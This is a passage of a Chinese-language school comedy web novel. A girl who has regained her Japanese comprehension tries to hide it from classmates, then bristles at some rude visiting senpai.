啊...好尴尬...
发生了昨天那件事之后,现在要和
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他单独待在同一个空间里真是怎么想怎么尴尬。
“搞什么...亏我还特意早起来学校,结果这家伙也来这么早。”
臭小子...
仗着我听不懂日语,平时都这样当面说我是吧。
但这件事倒是给了我一点灵感。
或许...
先不把找回语言功能的事情告诉别人?说不定能发现点有趣的事情。
不对。
是绝对会发现超有意思的事情!
至少...说不定能在未来某个时候吓人一跳。
我静静站在原地,右手还抓在背包带上,盯着佐佐木等重新趴下去的后脑勺诅咒三秒后,甩头走回了自己的座位。
大人不记小人过。
虽然能听能读,但我担心自己书写能力没有完全恢复。考虑到这点,我像往常一样翻开那本日语书,而这也提醒了我,如果想假装语言能力没有恢复,这个习惯以后也要一直保持。
很好,不仅能认还能写。
本人已经脱胎换骨。
当我合上书,摘下耳机之后,我才发现旁边的国都英一郎已经坐到了座位上。
如果是文字游戏,我现在会面临两个选项:
一:主动打招呼,表现自然得就像是失去了昨天的记忆。
二:装死。
从执行难度上来说,第二个显然容易不少,又是我的强项。
好,那就——
“有我同学。”
“在!”
“早上好。”
“...早上好,国都。”
很好,虽然响应速度快到不太自然,但至少...没有结巴!
只要我对自己的期待够低,我就能满足自己的期待。
这是我在这个最无能为力的年纪,在这个我大部分时候都无能为力的世界保持自信的秘诀。
但很快,我发现国都英一郎的表情不太对。
他皱着眉,若有所思地看向我。
...
我能不能假装没看见。
...
还在看。
...
好吧好像不太能。
“发生什么事了吗?”
唉,果然是想说昨天的事情吧。
但不管有没有人相信,当时的我就是一个连好朋友的姓氏发音都记不住的白痴。
不对。
...
这么一看被相信好像也不是什么好事啊!
“刚开始是觉得有我同学叫我名字的方式和昨天不太一样...”
糟了。
忘记我还有这个设定了。
我快速眨着双眼,心底那个最真实的自己却两眼紧闭,不愿面对这个出师未捷身先死的事实。
说好的不让别人发现会说日语了的计划呢!
“但刚才的那句话...有我同学,你想起来了吗?”
是啊。
想起来我还想装作还没想起来的事了。
我沉重地点点头,勉强扯出一个苦涩的微笑。
“太好了!”
他真是个好人,笑得比我这个摆脱文盲身份的当事人还真心实意。
好吧,至少...至少瞒住那个——
“抱歉,我不是有意偷听的,总之还是先恭喜有我同学了。”
哈。
我就知道。
就算摆脱文盲的困境,我也摆脱不了天选倒霉蛋的宿命。
“不是说不来烦我了吗?”
我没好气地提醒,或许也是默许佐佐木等将昨天那段不愉快的收尾就此翻篇。
“找你有事的人不是我,”佐佐木等向旁边让开一步,意有所指地侧身,示意我看向站在那边,用整齐的西式正装吸引着教室视线的人群——
“是他们。”
?
我知道这个时候我应该对于这种看上去就是作为重要角色出场的‘大人物’们有所表示,但抱歉。
我想起了日语。
但我还是我。
就算你表现得好像我应该认识他们所以你就理所当然地不解释,我也——、
“他们是谁?”
这次发出问号的是佐佐木等。
“国都认识吗?”
我看到变成豆豆眼的国都摇了摇头。
看来就不是大家都该认识的人了。
搞不好是跟有我和诗本人有什么纠葛...
“看来是佐佐木等23456号。”我笃定地作出总结。
“对我没礼貌就算了,人家是前辈。”
“你居然还会尊重前辈?”
“喂。”
“那个,有我同学,他们已经——”
“看来你‘恢复记忆’了?”
国都英一郎的话被真正没礼貌的人打断了。
我有些不爽。
而这句讽刺风味满满的问候,则为我的不爽找到了合理的宣泄渠道。
“对我没礼貌就算了——”
除非身高优越,否则被挑衅的时候,最好还是不要坐着回应。
所以我从座位上站了起来。
“难道是前辈就可以随意打断别人的话吗?现在好像不是——”
...
不行。
不能在这里垮掉。
所以到底不是什么...
我想说...
我...
我到底为什么要说这种话?
我是喜欢主动惹事的那种个性吗?
不,不如说我最讨厌被人找麻烦了,更何况是给自己找麻烦。
对了,还有那个时候。
那个时候,为什么会突然抓住佐佐木的手呢?现在回想起来真的很尴尬啊...明明跟他关系那么差。
以及现在。
说到底,国都才是被冒犯的人,我这样抢在他前面...
算什么啊。
而且昨天不是还害怕他的——
“现在想听你说句话可真不容易。”
“所以说...”
我一边开口,一边越过站在一边看好戏的佐佐木等,停在这个不断挑事的人面前。
“又不是你的质询时间,一直打断别人干什么呢?”
想起来了。
我果然还是忍不住,好不容易记起来、又在嘴边打转的词怎么忍得住不说出来呢。
而且。
看到有人冒犯自己的朋友。
看到某人遭受暴力的证据。
就是会忍不住想做点什么啊。
因为我就是这种——
明明最害怕麻烦,还总是惹祸上身的白痴。